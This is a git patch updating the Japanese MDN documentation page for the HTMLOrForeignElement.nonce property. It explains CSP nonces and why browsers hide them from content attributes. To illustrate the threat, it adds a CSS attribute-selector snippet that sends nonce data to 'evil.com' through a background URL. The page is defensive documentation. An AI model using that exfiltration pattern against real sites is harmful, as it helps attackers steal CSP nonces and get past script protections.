From e1de85864127b542e503bc75ac415c9164a80960 Mon Sep 17 00:00:00 2001 From: Masahiro FUJIMOTO Date: Sat, 1 May 2021 01:21:13 +0900 Subject: HTMLOrForeignElement.nonce を更新 (#543) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 2021/02/01 時点の英語版に同期 --- .../web/api/htmlorforeignelement/nonce/index.html | 41 +++++++++++++--------- 1 file changed, 25 insertions(+), 16 deletions(-) (limited to 'files/ja/web') diff --git a/files/ja/web/api/htmlorforeignelement/nonce/index.html b/files/ja/web/api/htmlorforeignelement/nonce/index.html index c91021d641..cd64acbbb5 100644 --- a/files/ja/web/api/htmlorforeignelement/nonce/index.html +++ b/files/ja/web/api/htmlorforeignelement/nonce/index.html @@ -12,42 +12,51 @@ tags: - nonce translation_of: Web/API/HTMLOrForeignElement/nonce --- -
{{APIRef("HTML DOM")}}{{SeeCompatTable}}
+
{{APIRef("HTML DOM")}}
-

nonce は {{DOMxRef("HTMLOrForeignElement")}} のプロパティで、特定のフェッチを続行できるかどうかを決定するためにコンテンツセキュリティポリシー(Content Security Policy)で使用される暗号化番号を返します。

+

nonce は {{DOMxRef("HTMLOrForeignElement")}} ミックスインのプロパティで、特定のフェッチを続行できるかどうかを決定するためにコンテンツセキュリティポリシー (Content Security Policy) で使用される一度だけの暗号化番号を返します。

-

後の実装では、nonce 属性を持つ要素はスクリプトにのみ公開します(CSS 属性セレクターのようなサイドチャネルには公開しません)。

+

後の実装では、 nonce 属性を持つ要素はスクリプトにのみ公開します (CSS 属性セレクターのようなサイドチャネルには公開しません)。

-

構文

+

-
var nonce = HTMLElement.nonce
-HTMLElement.nonce = nonce
+

ノンス値の受け取り

-

+

以前は、すべてのブラウザーが IDL 属性の nonce に対応しているわけではなかったので、回避策としては、代替として getAttribute を使用するようにしていました。

-

暗号化ナンス(cryptographic nonce)。

+
let nonce = script['nonce'] || script.getAttribute('nonce');
-

仕様書

+

しかし、最近のバージョンのブラウザーでは、この方法でアクセスすると nonce の値を隠します (空の文字列が返されます)。 IDL プロパティ (script['nonce']) がノンスにアクセスする唯一の方法となります。

+ +

ノンスを隠蔽することは、攻撃者が以下のようなコンテンツ属性からデータを取得できるメカニズムを介してノンスデータを流出させることを防ぐのに役立ちます。

+ +
script[nonce~=whatever] {
+  background: url("https://evil.com/nonce?whatever");
+}
+ +

仕様書

- - - -
仕様書状態備考
{{SpecName('HTML WHATWG','#attr-nonce','nonce')}}{{Spec2('HTML WHATWG')}}初回定義
-

ブラウザーの互換性

+

ブラウザーの互換性

+ +

{{Compat("api.HTMLElement.nonce")}}

- +

関連情報

-

{{Compat("api.HTMLOrForeignElement.nonce")}}

+ -- cgit v1.2.3-54-g00ecf